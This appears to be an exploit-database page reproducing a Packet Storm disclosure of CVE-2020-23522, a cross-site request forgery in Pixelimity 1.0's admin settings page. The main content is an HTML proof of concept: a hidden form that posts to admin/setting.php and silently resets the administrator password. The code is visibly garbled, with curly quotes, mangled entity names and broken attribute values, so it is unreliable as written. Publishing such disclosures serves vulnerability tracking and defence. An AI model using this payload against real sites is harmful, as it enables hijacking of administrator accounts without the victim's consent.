Pixelimity 1.0 Cross Site Request Forgery

🗓️ 03 Feb 2021 00:00:00Reported by NothType

packetstorm🔗 packetstormsecurity.com👁 276 Views

Pixelimity 1.0 Cross-Site Request Forgery via Admin Setting.php Password Paramete

Reporter	Title	Published	Views	Family All 9
Circl	CVE-2020-23522	19 Jan 202116:55	–	circl
CNNVD	Pixelimity 跨站请求伪造漏洞	19 Jan 202100:00	–	cnnvd
CNVD	Pixelimity Cross-Site Request Forgery Vulnerability	25 Jan 202100:00	–	cnvd
CVE	CVE-2020-23522	19 Jan 202112:07	–	cve
Cvelist	CVE-2020-23522	19 Jan 202112:07	–	cvelist
EUVD	EUVD-2020-16266	7 Oct 202500:30	–	euvd
NVD	CVE-2020-23522	19 Jan 202113:15	–	nvd
Prion	Cross site request forgery (csrf)	19 Jan 202113:15	–	prion
RedhatCVE	CVE-2020-23522	22 May 202516:14	–	redhatcve

`# Exploit Title: Pixelimity 1.0 - 'password' Cross-Site Request Forgery  
# Date: 2020-06-03  
# Exploit Author: Noth  
# Vendor Homepage: https://github.com/pixelimity/pixelimity  
# Software Link: https://github.com/pixelimity/pixelimity  
# Version: v1.0  
# CVE : 2020-23522  
  
Pixelimity 1.0 has cross-site request forgery via the admin/setting.php data [Password] parameter.  
  
PoC :  
  
<html>  
<body>  
<script>history.pushState(",",'/')</script>  
<form action=“http://127.0.0.1/pixelimity-dev/admin/setting.php  
” method=“POST”>  
<input type=“hidden” name=“submit_setting” value=“Save Setting”/>  
<input type=“hidden” name=“data[admin_portfolio_show]”  
value=“5”/>  
<input type=“hidden” name=“data[admin_pages_show]”  
value=“5”/>  
<input type=“hidden” name=“admin[data_password]”  
value=“456789”/>  
<input type=“hidden” name=“data[site#95;name]"  
value=“Pixelimity”/>  
<input type=“hidden” name=“data[site_name]show]”  
value=“My Online Portfolio”/>  
<input type=“hidden” name=“data[home_image_size&#93” value=“5”/>  
<input type=“hidden” name=“ data[single_image_image_size#93  
” value=“ 240&44;0,0&44;auto ”/>  
<input type=“hidden” name=“data[single_image_image_size#93”  
value=“720&44;0,0&44;auto”/>  
<input type=“submit” value=“Submit request”/>  
</form>  
</body>  
</html>  
`

03 Feb 2021 00:00Current

0.3Low risk

Vulners AI Score0.3

EPSS0.00191